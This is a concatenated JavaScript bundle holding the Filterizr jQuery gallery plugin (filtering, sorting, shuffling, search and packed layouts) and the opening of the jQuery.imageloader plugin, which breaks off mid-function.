1/** 2* Filterizr is a jQuery plugin that sorts, shuffles and applies stunning filters over 3* responsive galleries using CSS3 transitions and custom CSS effects. 4* 5* @author Yiotis Kaltsikis 6* @see {@link http://yiotis.net/filterizr} 7* @version 1.2.5 8* @license MIT License 9*/ 10 11(function(global, $) { 12 13 'use strict'; 14 15 //Make sure jQuery exists 16 if (!$) throw new Error('Filterizr requires jQuery to work.'); 17 18 /** 19 * Modified version of Jake Gordon's Bin Packing algorithm used for Filterizr's 'packed' layout 20 * @see {@link https://github.com/jakesgordon/bin-packing} 21 */ 22 var Packer = function(w) { 23 this.init(w); 24 }; 25 26 Packer.prototype = { 27 init: function(w) { 28 this.root = { x: 0, y: 0, w: w }; 29 }, 30 fit: function(blocks) { 31 var n, node, block, len = blocks.length; 32 var h = len > 0 ? blocks[0].h : 0; 33 this.root.h = h; 34 for (n = 0; n < len ; n++) { 35 block = blocks[n]; 36 if ((node = this.findNode(this.root, block.w, block.h))) 37 block.fit = this.splitNode(node, block.w, block.h); 38 else 39 block.fit = this.growDown(block.w, block.h); 40 } 41 }, 42 findNode: function(root, w, h) { 43 if (root.used) 44 return this.findNode(root.right, w, h) || this.findNode(root.down, w, h); 45 else if ((w <= root.w) && (h <= root.h)) 46 return root; 47 else 48 return null; 49 }, 50 splitNode: function(node, w, h) { 51 node.used = true; 52 node.down = { x: node.x, y: node.y + h, w: node.w, h: node.h - h }; 53 node.right = { x: node.x + w, y: node.y, w: node.w - w, h: h }; 54 return node; 55 }, 56 growDown: function(w, h) { 57 var node; 58 this.root = { 59 used: true, 60 x: 0, 61 y: 0, 62 w: this.root.w, 63 h: this.root.h + h, 64 down: { x: 0, y: this.root.h, w: this.root.w, h: h }, 65 right: this.root 66 }; 67 if ((node = this.findNode(this.root, w, h))) 68 return this.splitNode(node, w, h); 69 else 70 return null; 71 } 72 }; 73 74 /** 75 * Only Filterizr method extracted on jQuery.fn. 76 * Instantiates a new Filterizr or calls any of the public Filterizr methods. 77 * @return {jQuery} this - to facilitate jQuery method chaining. 78 */ 79 $.fn.filterizr = function() { 80 var self = this, args = arguments; 81 //Create the Filterizr obj as an internal private property on the current object 82 //to serve as a private namespace 83 if (!self._fltr) { 84 self._fltr = $.fn.filterizr.prototype.init(self, (typeof args[0] === 'object' ? args[0] : undefined)); 85 } 86 //Call all public Filterizr methods through the private Filterizr object 87 if (typeof args[0] === 'string') { 88 if (args[0].lastIndexOf('_') > -1) throw new Error('Filterizr error: You cannot call private methods'); 89 if (typeof self._fltr[args[0]] === 'function') { 90 self._fltr[args[0]](args[1], args[2]); 91 } 92 else throw new Error('Filterizr error: There is no such function'); 93 } 94 return self; 95 }; 96 97 /** 98 * Filterizr prototype 99 */ 100 $.fn.filterizr.prototype = { 101 102 /** 103 * Filterizr constructor. 104 * @param {Object} [container] - your container. 105 * @param {Object} [options] - user options to override defaults. 106 * @constructor 107 */ 108 init: function(container, options) { 109 var self = $(container).extend($.fn.filterizr.prototype); 110 //Default options 111 self.options = { 112 animationDuration: 0.5, 113 callbacks: { 114 onFilteringStart: function() { }, 115 onFilteringEnd: function() { }, 116 onShufflingStart: function() { }, 117 onShufflingEnd: function() { }, 118 onSortingStart: function() { }, 119 onSortingEnd: function() { } 120 }, 121 delay: 0, 122 delayMode: 'progressive', 123 easing: 'ease-out', 124 filter: 'all', 125 filterOutCss: { 126 'opacity': 0, 127 'transform': 'scale(0.5)' 128 }, 129 filterInCss: { 130 'opacity': 1, 131 'transform': 'scale(1)' 132 }, 133 layout: 'sameSize', 134 setupControls: true 135 }; 136 //No arguments constructor 137 if (arguments.length === 0) { 138 options = self.options; 139 } 140 //One argument constructor (only options) 141 if (arguments.length === 1 && typeof arguments[0] === 'object') options = arguments[0]; 142 //If options argument provided, override defaults 143 if (options) { 144 self.setOptions(options); 145 } 146 //Private properties 147 self.css({ //Cache reference to container as jQuery obj and init its CSS 148 'padding' : 0, 149 'position': 'relative' 150 }); 151 self._lastCategory = 0; //Highest value in data-category of .filtr-items 152 self._isAnimating = false;
153 self._isShuffling = false; 154 self._isSorting = false; 155 //.filtr-item collections 156 self._mainArray = self._getFiltrItems(); 157 self._subArrays = self._makeSubarrays(); 158 self._activeArray = self._getCollectionByFilter(self.options.filter); 159 //Used for multiple category filtering 160 self._toggledCategories = { }; 161 //Used for search feature 162 self._typedText = $('input[data-search]').val() || ''; 163 //Generate unique ID for resize events 164 self._uID = 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) { 165 var r = Math.random()*16|0, v = c == 'x' ? r : (r&0x3|0x8); 166 return v.toString(16); 167 }); 168 //Set up Filterizr events 169 self._setupEvents(); 170 //Set up standard Filterizr controls (for multiple Filterizrs in your scene, set to false) 171 if (self.options.setupControls) self._setupControls(); 172 //Start Filterizr! 173 self.filter(self.options.filter); 174 return self; 175 }, 176 177 /*********************************** 178 * Public methods 179 ***********************************/ 180 /** 181 * Filters the items 182 * @param {number} targetFilter - the applied filter towards which items transition 183 */ 184 filter: function(targetFilter) { 185 var self = this, 186 target = self._getCollectionByFilter(targetFilter); 187 188 self.options.filter = targetFilter; 189 self.trigger('filteringStart'); 190 //Filter items 191 self._handleFiltering(target); 192 //Apply search filter on top if activated 193 if (self._isSearchActivated()) self.search(self._typedText); 194 }, 195 196 /** 197 * Toggles filters on/off and renders the new collection 198 * @param {number} toggledFilter - the filter to toggle 199 */ 200 toggleFilter: function(toggledFilter) { 201 var self = this, 202 target = [], i = 0; 203 204 self.trigger('filteringStart'); 205 //Toggle the toggledFilter in the active categories 206 //If undefined (in case of window resize) ignore 207 if (toggledFilter) { 208 if (!self._toggledCategories[toggledFilter]) 209 self._toggledCategories[toggledFilter] = true; 210 else 211 delete self._toggledCategories[toggledFilter]; 212 } 213 214 //If a filter is toggled on then display only items belonging to that category 215 if (self._multifilterModeOn()) { 216 target = self._makeMultifilterArray(); 217 //Filter items 218 self._handleFiltering(target); 219 //Apply search filter on top if activated 220 if (self._isSearchActivated()) self.search(self._typedText); 221 } 222 //If all filters toggled off then display unfiltered gallery 223 else { 224 //Filter items 225 self.filter('all'); 226 //Apply search filter on top if activated 227 if (self._isSearchActivated()) self.search(self._typedText); 228 } 229 }, 230 231 /** 232 * Searches the contents of .filtr-item elements, filters them and renders the results 233 * @param {string} text to search in contents of .filtr-item elements 234 */ 235 search: function(text) { 236 var self = this, 237 //get active category 238 array = self._multifilterModeOn() ? 239 self._makeMultifilterArray() : 240 self._getCollectionByFilter(self.options.filter), 241 target = [], i = 0; 242 243 if (self._isSearchActivated()) { 244 for (i = 0; i < array.length; i++) { 245 //Check if the text typed in the textbox is contained in the .filtr-item element 246 //and add it to the target array 247 var containsText = array[i].text().toLowerCase().indexOf(text.toLowerCase()) > -1; 248 if (containsText) { 249 target.push(array[i]); 250 } 251 } 252 } 253 //Show the results 254 if (target.length > 0) { 255 self._handleFiltering(target); 256 } 257 //If there are no results 258 else { 259 //and search is activated, show blank 260 if (self._isSearchActivated()) { 261 for (i = 0; i < self._activeArray.length; i++) { 262 self._activeArray[i]._filterOut(); 263 } 264 } 265 //if search is not activated display gallery with last applied filter 266 else { 267 self._handleFiltering(array); 268 } 269 } 270 }, 271 272 /** 273 * Shuffles the active collection and rearranges it on screen 274 */ 275 shuffle: function() { 276 var self = this; 277 278 //ShufflingStart callback 279 self._isAnimating = true; 280 self._isShuffling = true; 281 self.trigger('shufflingStart'); 282 283 self._mainArray = self._fisherYatesShuffle(self._mainArray); 284 self._subArrays = self._makeSubarrays(); 285 286 var target = self._multifilterModeOn() ? 287 self._makeMultifilterArray() :
288 self._getCollectionByFilter(self.options.filter); 289 290 if (self._isSearchActivated()) 291 self.search(self._typedText); 292 else 293 self._placeItems(target); 294 }, 295 296 /** 297 * Sorts the active collection and rearranges it on screen. 298 * @param {string} [attr] - attr based on which to sort (default: 'domIndex' / possible: 'domIndex', 'sortData', 'w', 'h'). 299 * @param {string} [sortOrder] - asc/desc (default: 'asc'). 300 */ 301 sort: function(attr, sortOrder) { 302 var self = this; 303 //Set defaults 304 attr = attr || 'domIndex'; 305 sortOrder = sortOrder || 'asc'; 306 307 //SortingStart callback 308 self._isAnimating = true; 309 self._isSorting = true; 310 self.trigger('sortingStart'); 311 312 //Register sort attr on all elements if it is a user-defined data-attribute 313 var isUserAttr = attr !== 'domIndex' && attr !== 'sortData' && attr !== 'w' && attr!== 'h'; 314 if (isUserAttr) { 315 for (var i = 0; i < self._mainArray.length; i++) { 316 self._mainArray[i][attr] = self._mainArray[i].data(attr); 317 } 318 } 319 //Sort items 320 self._mainArray.sort(self._comparator(attr, sortOrder)); 321 self._subArrays = self._makeSubarrays(); 322 //Place sorted collection to new positions 323 var target = self._multifilterModeOn() ? 324 self._makeMultifilterArray() : 325 self._getCollectionByFilter(self.options.filter); 326 327 if (self._isSearchActivated()) 328 self.search(self._typedText); 329 else 330 self._placeItems(target); 331 }, 332 333 /** 334 * Overrides the default options with the user-provided ones. 335 * @param {object} options - the user-provided options to override defaults. 336 */ 337 setOptions: function(options) { 338 var self = this, i = 0; 339 //Override options 340 for (var prop in options) { 341 self.options[prop] = options[prop]; 342 } 343 //If the user tries to override animationDuration, easing, delay or delayMode 344 if (self._mainArray && (options.animationDuration || options.delay || options.easing || options.delayMode)) { 345 for (i = 0; i < self._mainArray.length; i++) { 346 self._mainArray[i].css('transition', 'all ' + self.options.animationDuration + 's ' + self.options.easing + ' ' + self._mainArray[i]._calcDelay() + 'ms'); 347 } 348 } 349 //If the user tries to override a callback, make sure undefined callbacks are set to empty functions 350 if (options.callbacks) { 351 if (!options.callbacks.onFilteringStart) 352 self.options.callbacks.onFilteringStart = function() { }; 353 if (!options.callbacks.onFilteringEnd) 354 self.options.callbacks.onFilteringEnd = function() { }; 355 if (!options.callbacks.onShufflingStart) 356 self.options.callbacks.onShufflingStart = function() { }; 357 if (!options.callbacks.onShufflingEnd) 358 self.options.callbacks.onShufflingEnd = function() { }; 359 if (!options.callbacks.onSortingStart) 360 self.options.callbacks.onSortingStart = function() { }; 361 if (!options.callbacks.onSortingEnd) 362 self.options.callbacks.onSortingEnd = function() { }; 363 } 364 //If the user has not defined a transform property in their CSS, add it 365 //while overriding, including translates for movement 366 if (!self.options.filterInCss.transform) self.options.filterInCss.transform = 'translate3d(0,0,0)'; 367 if (!self.options.filterOutCss.transform) self.options.filterOutCss.transform = 'translate3d(0,0,0)'; 368 }, 369 370 /*********************************** 371 * Private & helper methods 372 ***********************************/ 373 /** 374 * Finds all .filtr-item elements in the .filtr-container and sets them up before returning them in an array.
375 * @return {Object[]} all .filtr-item elements contained in Filterizr's container. 376 * @private 377 */ 378 _getFiltrItems: function() { 379 var self = this, 380 filtrItems = $(self.find('.filtr-item')), 381 itemsArray = []; 382 383 $.each(filtrItems, function(i, e) { 384 //Set item up as Filtr object & push to array 385 var item = $(e).extend(FiltrItemProto)._init(i, self); 386 itemsArray.push(item); 387 }); 388 return itemsArray; 389 }, 390 391 /** 392 * Divide .filtr-item elements into sub-arrays based on data-category attribute. 393 * @return {Object[Object[self._lastCategory]]} Array of arrays including items grouped by data-category. 394 * @private 395 */ 396 _makeSubarrays: function() { 397 var self = this, 398 subArrays = []; 399 400 for (var i = 0; i < self._lastCategory; i++) subArrays.push([]); 401 402 //Populate the sub-arrays 403 for (i = 0; i < self._mainArray.length; i++) { 404 //Multiple categories scenario 405 if (typeof self._mainArray[i]._category === 'object') { 406 var length = self._mainArray[i]._category.length; 407 for (var x = 0; x < length; x++) { 408 subArrays[self._mainArray[i]._category[x] - 1].push(self._mainArray[i]); 409 } 410 } 411 //Single category 412 else subArrays[self._mainArray[i]._category - 1].push(self._mainArray[i]); 413 } 414 return subArrays; 415 }, 416 417 /** 418 * Make a .filtr-item array based on the activated filters 419 * @return {Object[]} array consisting of the .filtr-item elements belonging to active filters 420 * @private 421 */ 422 _makeMultifilterArray: function() { 423 var self = this, 424 target = [], addedMap = {}; 425 426 for (var i = 0; i < self._mainArray.length; i++) { 427 //If the item belongs to multiple categories 428 var item = self._mainArray[i], 429 belongsToCategory = false, 430 isUnique = item.domIndex in addedMap === false; 431 //Check if item belongs to categories whose filters are toggled on 432 if (Array.isArray(item._category)) { 433 for (var x = 0; x < item._category.length; x++) { 434 if (item._category[x] in self._toggledCategories) { 435 belongsToCategory = true; 436 break; 437 } 438 } 439 } 440 else { 441 if (item._category in self._toggledCategories) belongsToCategory = true; 442 } 443 //If the item is not already visible and belongs to a category 444 //of the toggled on filters push it to target collection 445 if (isUnique && belongsToCategory) { 446 addedMap[item.domIndex] = true; 447 target.push(item); 448 } 449 } 450 return target; 451 }, 452 453 /** 454 * Detect and set up preset controls. 455 * @private 456 */ 457 _setupControls: function() { 458 var self = this; 459 //Filter controls 460 $('*[data-filter]').click(function() { 461 var targetFilter = $(this).data('filter'); 462 //Exit case 463 if (self.options.filter === targetFilter) return; 464 self.filter(targetFilter); 465 }); 466 //Multiple filter controls 467 $('*[data-multifilter]').click(function() { 468 var targetFilter = $(this).data('multifilter'); 469 if (targetFilter === 'all') { 470 self._toggledCategories = { }; 471 self.filter('all'); 472 } 473 else { 474 self.toggleFilter(targetFilter); 475 } 476 }); 477 //Shuffle control 478 $('*[data-shuffle]').click(function() { 479 self.shuffle(); 480 }); 481 //Sort controls 482 $('*[data-sortAsc]').click(function() { 483 var sortAttr = $('*[data-sortOrder]').val(); 484 self.sort(sortAttr, 'asc'); 485 }); 486 $('*[data-sortDesc]').click(function() { 487 var sortAttr = $('*[data-sortOrder]').val(); 488 self.sort(sortAttr, 'desc'); 489 }); 490 //Search control 491 $('input[data-search]').keyup(function() { 492 self._typedText = $(this).val(); 493 self._delayEvent(function() { 494 self.search(self._typedText); 495 }, 250, self._uID); 496 }); 497 }, 498 499 /** 500 * Set up window and Filterizr events. 501 * @private 502 */ 503 _setupEvents: function() { 504 var self = this; 505 //Window resize event 506 $(global).resize(function() { 507 self._delayEvent(function() { 508 self.trigger('resizeFiltrContainer'); 509 }, 250, self._uID); 510 }); 511 //Filterizr events 512 self 513 //Container resize event 514 .on('resizeFiltrContainer', function() { 515 if (self._multifilterModeOn()) 516 self.toggleFilter(); 517 else 518 self.filter(self.options.filter); 519 }) 520 //onFilteringStart event 521 .on('filteringStart', function() { 522 self.options.callbacks.onFilteringStart(); 523 }) 524 //onFilteringEnd event 525 .on('filteringEnd', function() { 526 self.options.callbacks.onFilteringEnd(); 527 }) 528 //onShufflingStart event 529 .on('shufflingStart', function() { 530 self._isShuffling = true; 531 self.options.callbacks.onShufflingStart(); 532 }) 533 //onFilteringEnd event 534 .on('shufflingEnd', function() { 535 self.options.callbacks.onShufflingEnd(); 536 self._isShuffling = false;
537 }) 538 //onSortingStart event 539 .on('sortingStart', function() { 540 self._isSorting = true; 541 self.options.callbacks.onSortingStart(); 542 }) 543 //onSortingEnd event 544 .on('sortingEnd', function() { 545 self.options.callbacks.onSortingEnd(); 546 self._isSorting = false; 547 }); 548 }, 549 550 /** 551 * Calculates the final positions of items being filtered in, updates the height of .filtr-container. 552 * @return {Object[]} array of future item positions. 553 * @private 554 */ 555 _calcItemPositions: function() { 556 var self = this, 557 array = self._activeArray, 558 //Container data 559 containerHeight = 0, 560 cols = Math.round(self.width() / self.find('.filtr-item').outerWidth()), 561 rows = 0, 562 //Item data 563 itemWidth = array[0].outerWidth(), 564 itemHeight = 0, 565 //Position calculation vars 566 left = 0, top = 0, 567 //Loop vars 568 i = 0, x = 0, 569 //Array of positions to return 570 posArray = []; 571 572 //Layout for items of varying sizes 573 if (self.options.layout === 'packed') { 574 //Cache current item width/height 575 $.each(self._activeArray, function(i, e) { 576 e._updateDimensions(); 577 }); 578 //Instantiate new Packer, set up grid 579 var packer = new Packer(self.outerWidth()); 580 packer.fit(self._activeArray); 581 for (i = 0; i < array.length; i++) { 582 posArray.push({ 583 left: array[i].fit.x, 584 top: array[i].fit.y 585 }); 586 } 587 containerHeight = packer.root.h; 588 } 589 //Horizontal layout 590 if (self.options.layout === 'horizontal') { 591 rows = 1; 592 for (i = 1; i <= array.length; i++) { 593 itemWidth = array[i - 1].outerWidth(); 594 itemHeight = array[i - 1].outerHeight(); 595 posArray.push({ 596 left: left, 597 top: top 598 }); 599 left += itemWidth; 600 if (containerHeight < itemHeight) containerHeight = itemHeight; 601 } 602 } 603 //Vertical layout 604 else if (self.options.layout === 'vertical') { 605 for (i = 1; i <= array.length; i++) { 606 itemHeight = array[i - 1].outerHeight(); 607 posArray.push({ 608 left: left, 609 top: top 610 }); 611 top += itemHeight; 612 } 613 containerHeight = top; 614 } 615 //Layout of items for same height and varying width 616 else if (self.options.layout === 'sameHeight') { 617 rows = 1; 618 var rowWidth = self.outerWidth(); 619 for (i = 1; i <= array.length; i++) { 620 itemWidth = array[i - 1].width(); 621 var itemOuterWidth = array[i - 1].outerWidth(), 622 nextItemWidth = 0; 623 if (array[i]) nextItemWidth = array[i].width(); 624 posArray.push({ 625 left: left, 626 top: top 627 }); 628 x = left + itemWidth + nextItemWidth; 629 if (x > rowWidth) { 630 x = 0; 631 left = 0; 632 top += array[0].outerHeight(); 633 rows++; 634 } 635 else left += itemOuterWidth; 636 } 637 containerHeight = rows * array[0].outerHeight(); 638 } 639 //Layout for items of same width and varying height 640 else if (self.options.layout === 'sameWidth') { 641 //Get positions 642 for (i = 1; i <= array.length; i++) { 643 posArray.push({ 644 left: left, 645 top: top 646 }); 647 if (i % cols === 0) rows++; 648 left += itemWidth; 649 top = 0; 650 if (rows > 0) { 651 x = rows; 652 while (x > 0) { 653 top += array[i - (cols * x)].outerHeight(); 654 x--; 655 } 656 } 657 if (i % cols === 0) left = 0; 658 } 659 //Calculate containerHeight 660 for (i = 0; i < cols; i++) { 661 var columnHeight = 0, index = i; 662 while(array[index]) { 663 columnHeight += array[index].outerHeight(); 664 index += cols; 665 } 666 if (columnHeight > containerHeight) { 667 containerHeight = columnHeight; 668 columnHeight = 0; 669 } 670 else 671 columnHeight = 0; 672 } 673 } 674 //Layout for items of exactly same size 675 else if (self.options.layout === 'sameSize') { 676 for (i = 1; i <= array.length; i++) { 677 //Push first point at (left: 0, top: 0) 678 posArray.push({ 679 left: left, 680 top: top 681 }); 682 //Set left and top properties for next point before next iteration 683 left += itemWidth; 684 //On row change calc new top and reset left 685 if (i % cols === 0) { 686 top += array[0].outerHeight(); 687 left = 0; 688 } 689 }
690 rows = Math.ceil(array.length / cols); 691 containerHeight = rows * array[0].outerHeight(); 692 } 693 //Update the height of .filtr-container based on new positions 694 self.css('height', containerHeight); 695 return posArray; 696 }, 697 698 /** 699 * Handles filtering in/out and reposition items when transition between categories 700 * @param {Object[]} the target array towards which to filter 701 * @private 702 */ 703 _handleFiltering: function(target) { 704 var self = this, 705 toFilterOut = self._getArrayOfUniqueItems(self._activeArray, target); 706 //Minimize all .filtr-item elements that are not the same between categories 707 for (var i = 0; i < toFilterOut.length; i++) { 708 toFilterOut[i]._filterOut(); 709 } 710 self._activeArray = target; 711 //Reposition same items and filter in new 712 self._placeItems(target); 713 }, 714 715 /** 716 * Determines if the user is using data-multifilter controls or simple data-filter controls 717 * @return {boolean} indicating whether multiple filter mode is on 718 * @private 719 */ 720 _multifilterModeOn: function() { 721 var self = this; 722 return Object.keys(self._toggledCategories).length > 0; 723 }, 724 725 /** 726 * Determines if the user has something typed in the search box 727 * @return {boolean} indicating whether the user has searched 728 * @private 729 */ 730 _isSearchActivated: function() { 731 var self = this; 732 return self._typedText.length > 0; 733 }, 734 735 /** 736 * Places .filtr-item elements on the grid positions 737 * @param {Object[]} arr - an array consisting of .filtr-item elements 738 * @private 739 */ 740 _placeItems: function(arr) { 741 var self = this; 742 //Tag gallery state as animating 743 self._isAnimating = true; 744 //Recalculate positions and filter in items 745 self._itemPositions = self._calcItemPositions(); 746 for (var i = 0; i < arr.length; i++) { 747 arr[i]._filterIn(self._itemPositions[i]); 748 } 749 }, 750 751 /** 752 * Returns item collection based on a certain filter 753 * @param {string|number} filter of category to return 754 * @return {Object[]} one of the item collections based on filter 755 * @private 756 */ 757 _getCollectionByFilter: function(filter) { 758 var self = this; 759 return filter === 'all' ? self._mainArray : self._subArrays[filter - 1]; 760 }, 761 762 /** 763 * Used to make deep copies of the predefined filters 764 * in the options for the filterIn/Out methods of items. 765 * @see _filterIn and _filterOut methods in FiltrItemProto. 766 * @param {Object} obj - is the source object to make a deep copy from. 767 * @return {Object} Deep copy of the obj param. 768 * @private 769 */ 770 _makeDeepCopy: function(obj) { 771 var r = {}; 772 for (var p in obj) r[p] = obj[p]; 773 return r; 774 }, 775 776 /** 777 * Comparator factory used to produce camparers for sorting. 778 * @see Filterizr.prototype.sort. 779 * @param {string} prop - property based on which to sort ('domIndex', 'sortData', 'w', 'h') 780 * @param {string} sortOrder - 'asc'/'desc' 781 * @return {function} comparer which takes arguments 782 * @private 783 */ 784 _comparator: function(prop, sortOrder) { 785 return function(a, b) { 786 if (sortOrder === 'asc') { 787 if (a[prop] < b[prop]) 788 return -1; 789 else if (a[prop] > b[prop]) 790 return 1; 791 else 792 return 0; 793 } 794 else if (sortOrder === 'desc') { 795 if (b[prop] < a[prop]) 796 return -1; 797 else if (b[prop] > a[prop]) 798 return 1; 799 else 800 return 0; 801 } 802 }; 803 }, 804 805 /** 806 * Modified version of Jeffery To's array intersection method 807 * @see {@link http://www.falsepositives.com/index.php/2009/12/01/javascript-function-to-get-the-intersect-of-2-arrays/} 808 * @return {Object[]} a disjoint array containing the elements of the first array not found in the second 809 * @private 810 */ 811 _getArrayOfUniqueItems: function(arr1, arr2) { 812 var r = [], o = {}, l = arr2.length, i, v; 813 for (i = 0; i < l; i++) { 814 o[arr2[i].domIndex] = true; 815 } 816 l = arr1.length; 817 for (i = 0; i < l; i++) { 818 v = arr1[i]; 819 if (!(v.domIndex in o)) { 820 r.push(v); 821 } 822 } 823 return r; 824 }, 825 826 /** 827 * Brahn's take on CMS's solution to calling the window.resize event at set 828 * intervals in multiple places in the code using a Java-like UUID with a regexp 829 * @see {@link http://stackoverflow.com/questions/2854407/javascript-jquery-window-resize-how-to-fire-after-the-resize-is-completed} 830 * @return {function} which calls the callback or just clears the timer 831 * @private 832 */ 833 _delayEvent: (function () { 834 var self = this, timers = {}; 835 return function (callback, ms, uniqueId) { 836 if (uniqueId === null) { 837 throw Error("UniqueID needed"); 838 } 839 if (timers[uniqueId]) { 840 clearTimeout (timers[uniqueId]); 841 } 842 timers[uniqueId] = setTimeout(callback, ms); 843 }; 844 })(), 845 846 /** 847 * Fisher-Yates array shuffling algorithm implemented for JavaScript. 848 * @return {Object[]} shuffled array.
849 * @private 850 */ 851 _fisherYatesShuffle: function shuffle(array) { 852 var m = array.length, t, i; 853 // While there remain elements to shuffle⦠854 while (m) { 855 // Pick a remaining element⦠856 i = Math.floor(Math.random() * m--); 857 // And swap it with the current element. 858 t = array[m]; 859 array[m] = array[i]; 860 array[i] = t; 861 } 862 return array; 863 } 864 }; 865 866 /** 867 * FiltrItem Prototype 868 */ 869 var FiltrItemProto = { 870 871 /** 872 * Transforms a jQuery item with .filtr-item class into a FiltrItem. 873 * @param {number} index - initial item order based on position in DOM. 874 * @param {Filterizr} parent - reference to Filterizr container containing this Filtr Item. 875 * @return {jQuery} this - to facilitate method chaining. 876 * @constructor 877 */ 878 _init: function(index, parent) { 879 var self = this, delay = 0; 880 //Private item properties 881 self._parent = parent; //Ref to parent Filterizr object 882 self._category = self._getCategory(); //data-category values 883 self._lastPos = {}; //Used for animations 884 //Public properties - used for sorting 885 self.domIndex = index; 886 self.sortData = self.data('sort'); 887 //Item Dimensions used for Bin Packing algorithm (packed layout) and sorting. 888 self.w = 0; 889 self.h = 0; 890 //self states 891 self._isFilteredOut = true; 892 self._filteringOut = false; 893 self._filteringIn = false; 894 //Determine delay & set initial item styles 895 self.css(parent.options.filterOutCss) 896 .css({ 897 '-webkit-backface-visibility': 'hidden', 898 'perspective': '1000px', 899 '-webkit-perspective': '1000px', 900 '-webkit-transform-style': 'preserve-3d', 901 'position': 'absolute', 902 'transition': 'all ' + parent.options.animationDuration + 's ' + parent.options.easing + ' ' + self._calcDelay() + 'ms' 903 }); 904 //Events 905 self.on("transitionend webkitTransitionEnd oTransitionEnd MSTransitionEnd", function(){ 906 self._onTransitionEnd(); 907 }); 908 return self; 909 }, 910 911 /** 912 * Updates the dimensions (width/height) of the item. 913 * @private 914 */ 915 _updateDimensions: function() { 916 var self = this; 917 self.w = self.outerWidth(); 918 self.h = self.outerHeight(); 919 }, 920 921 /** 922 * Calculates and returns the value of delay to apply to transition-delay in ms, depending on delayMode 923 * @return {number} value to apply to transition-delay in ms. 924 * @private 925 */ 926 _calcDelay: function() { 927 var self = this, r = 0; 928 if (self._parent.options.delayMode === 'progressive') 929 r = self._parent.options.delay * self.domIndex; 930 else 931 if (self.domIndex % 2 === 0) r = self._parent.options.delay; 932 return r; 933 }, 934 935 /** 936 * Determines which categories this items belongs to and updates the _lastCategory prop of Filterizr. 937 * @throws {InvalidArgumentException} data-category of .filtr-item elements must be integer or string of integers delimited by ', ' 938 * @return {Object[]|number} the categories this item belongs to. 939 * @private 940 */ 941 _getCategory: function() { 942 var self = this, 943 ret = self.data('category'); 944 //If more than one category provided 945 if (typeof ret === 'string') { 946 ret = ret.split(', '); 947 for (var i = 0; i < ret.length; i++) { 948 //Error checking: make sure data-category has an integer as its value 949 if (isNaN(parseInt(ret[i]))) { 950 throw new Error('Filterizr: the value of data-category must be a number, starting from value 1 and increasing.'); 951 } 952 if (parseInt(ret[i]) > self._parent._lastCategory) { 953 self._parent._lastCategory = parseInt(ret[i]); 954 } 955 } 956 } 957 else { 958 if (ret > self._parent._lastCategory) 959 self._parent._lastCategory = ret; 960 } 961 return ret; 962 }, 963 964 /** 965 * Handles the transitionEnd event. 966 * @private 967 */ 968 _onTransitionEnd: function() { 969 var self = this; 970 //finished filtering out 971 if (self._filteringOut) { 972 $(self).addClass('filteredOut'); 973 self._isFilteredOut = true; 974 self._filteringOut = false;
975 } 976 //finished filtering in 977 else if (self._filteringIn) { 978 self._isFilteredOut = false; 979 self._filteringIn = false; 980 } 981 //if animating trigger filteringEnd event once on parent 982 if (self._parent._isAnimating) { 983 if (self._parent._isShuffling) 984 self._parent.trigger('shufflingEnd'); 985 else if (self._parent._isSorting) 986 self._parent.trigger('sortingEnd'); 987 else 988 self._parent.trigger('filteringEnd'); 989 self._parent._isAnimating = false; 990 } 991 }, 992 993 /** 994 * Filters out the item. 995 * @private 996 */ 997 _filterOut: function() { 998 var self = this, 999 filterOutCss = self._parent._makeDeepCopy(self._parent.options.filterOutCss); 1000 //Auto add translate to transform over user-defined filterOut styles 1001 filterOutCss.transform += ' translate3d(' + self._lastPos.left + 'px,' + self._lastPos.top + 'px, 0)'; 1002 //Play animation 1003 self.css(filterOutCss); 1004 //Make unclickable 1005 self.css('pointer-events', 'none'); 1006 //Tag as filteringOut for transitionend event 1007 self._filteringOut = true; 1008 }, 1009 1010 /** 1011 * Filters in the item. 1012 * @param {Object} targetPos - is the position to move to with transform-translate 1013 * @private 1014 */ 1015 _filterIn: function(targetPos) { 1016 var self = this, 1017 filterInCss = self._parent._makeDeepCopy(self._parent.options.filterInCss); 1018 //Remove the filteredOut class 1019 $(self).removeClass('filteredOut'); 1020 //Tag as filtering in for transitionend event 1021 self._filteringIn = true; 1022 self._lastPos = targetPos; 1023 //Make clickable 1024 self.css('pointer-events', 'auto'); 1025 //Auto add translate to transform over user-defined filterIn styles 1026 filterInCss.transform += ' translate3d(' + targetPos.left + 'px,' + targetPos.top + 'px, 0)'; 1027 //Play animation 1028 self.css(filterInCss); 1029 } 1030 }; 1031 1032})(this, jQuery); 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048(function($) { 1049 1050"use strict"; 1051 1052/** 1053 * jQuery.imageloader 1054 * (C) 2012, Takashi Mizohata 1055 * http://beatak.github.com/jquery-imageloader/ 1056 * MIT LICENSE 1057 */ 1058 1059var DEFAULT_OPTIONS = { 1060 selector: '', 1061 dataattr: 'src', 1062 background: false, 1063 each: null, 1064 eacherror: null, 1065 callback: null, 1066 timeout: 5000 1067}; 1068 1069var init = function (_i, self, opts) { 1070 var q = Queue.getInstance(); 1071 var $this = $(self); 1072 var defaults = $.extend({}, DEFAULT_OPTIONS, opts || {}); 1073 var ns = '_' + ('' + (new Date()).valueOf()).slice(-7); 1074 var $elms; 1075 var len = 0; 1076 1077 if (defaults.selector === '' && $this.data(defaults.dataattr) ) { 1078 $elms = $this; 1079 len = 1; 1080 } 1081 else { 1082 $elms = $this.find([defaults.selector, '[data-', defaults.dataattr, ']'].join('')); 1083 len = $elms.length; 1084 } 1085 1086 $this.data( 1087 ns, 1088 { 1089 each: defaults.each, 1090 eacherror: defaults.eacherror, 1091 callback: defaults.callback, 1092 isLoading: true, 1093 loadedImageCounter: 0, 1094 length: len 1095 } 1096 ); 1097 1098 if (len === 0) { 1099 finishImageLoad(self, ns); 1100 } 1101 else { 1102 $elms.each( 1103 function (i, elm) { 1104 q.add(buildImageLoadFunc(elm, self, ns, defaults.background, defaults.dataattr, defaults.timeout)); 1105 } 1106 ); 1107 // console.log(['we are gonna load ', len, ' image(s) on ', ns].join('')); 1108 $this.on('loadImage.' + ns, onLoadImage); 1109 q.run(); 1110 } 1111 return self; 1112}; 1113 1114// =================================================================== 1115 1116var onLoadImage = function (ev, elm, img, isError) { 1117 // console.log('onLoadImage: ', ev.namespace); 1118 var parent = ev.currentTarget; 1119 var defaults = $(parent).data(ev.namespace); 1120 if (!defaults.isLoading) { 1121 // console.log('onLoadImage: is not loading but still called?'); 1122 return; 1123 } 1124 if (isError) { 1125 if (typeof defaults.eacherror 